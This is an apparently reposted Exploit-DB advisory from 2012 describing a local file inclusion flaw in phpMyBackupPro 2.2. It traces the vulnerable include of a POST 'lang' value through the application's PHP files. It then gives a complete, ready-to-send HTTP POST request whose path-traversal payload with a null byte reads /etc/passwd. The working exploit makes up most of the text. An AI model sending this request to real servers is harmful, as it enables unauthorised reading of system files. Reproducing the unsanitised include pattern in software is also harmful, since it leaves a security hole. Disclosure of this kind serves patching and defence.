phpMyBackupPro 2.2 – Local File Inclusion - 体验盒子

作者： dun

日期： 2012-07-03

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/19550/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

:::::::-. ...::::::.:::.

;;, <code>';, ;; ;;;</code>;;;;,<code>;;;

</code>[[ [[[[' [[[[[[[[. '[[

$$,$$$$$$$$$$ "Y$c$$

888_,o8P'88.d888888Y88

MMMMP"` "YmmMMMM""MMM YM

[ Discovered by dun \ posdub[at]gmail.com ]

[ 2012-07-03]

##################################################################

# [ phpMyBackupPro <= 2.2 ]Local File Inclusion Vulnerability#

##################################################################

#

# Script: "phpMyBackupPro is a very easy to use, free, web-based

#MySQL backup application, licensed under the GNU GPL."

#

# Vendor: http://www.phpmybackuppro.net/

# Download: http://sourceforge.net/projects/phpmybackup/files/phpMyBackupPro/

#

# File: ./phpMyBackupPro-2.2/config.php (line: 26)

#..cut..

#26require_once("login.php"); // 1

#..cut..

#

# File: ./phpMyBackupPro-2.2/login.php (line: 29)

#..cut..

#29require_once("definitions.php"); // 2

#..cut..

#

# File: ./phpMyBackupPro-2.2/definitions.php (lines: 201-206)

#..cut..

#201// check if language was just changed in config.php

#202if (isset($_POST['lang']) && preg_replace("#.*/#","",$_SERVER['PHP_SELF'])=="config.php") $CONF['lang']=$_POST['lang']; // 3

#203

#204// include language.inc.php

#205if (!isset($CONF['lang'])) $CONF['lang']="english";

#206if (!file_exists($prepath.PMBP_LANGUAGE_DIR.$CONF['lang'].".inc.php"))// 4

# include_once($prepath.PMBP_LANGUAGE_DIR."english.inc.php"); // 4

# else include($prepath.PMBP_LANGUAGE_DIR.$CONF['lang'].".inc.php");// 4 [LFI]

#..cut..

#

# [LFI] ( magic_quotes_gpc = Off; )

# Vuln:

#

#POST /phpMyBackupPro-2.2/config.php HTTP/1.1

#Host: localhost

#User-Agent: Mozilla/5.0

#Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

#Accept-Language: pl,en-us;q=0.7,en;q=0.3

#Accept-Encoding: gzip, deflate

#Connection: keep-alive

#Content-Type: application/x-www-form-urlencoded

#Content-Length: 39

#lang=../../../../../../../etc/passwd%00

#

### [ dun / 2012 ] #####################################################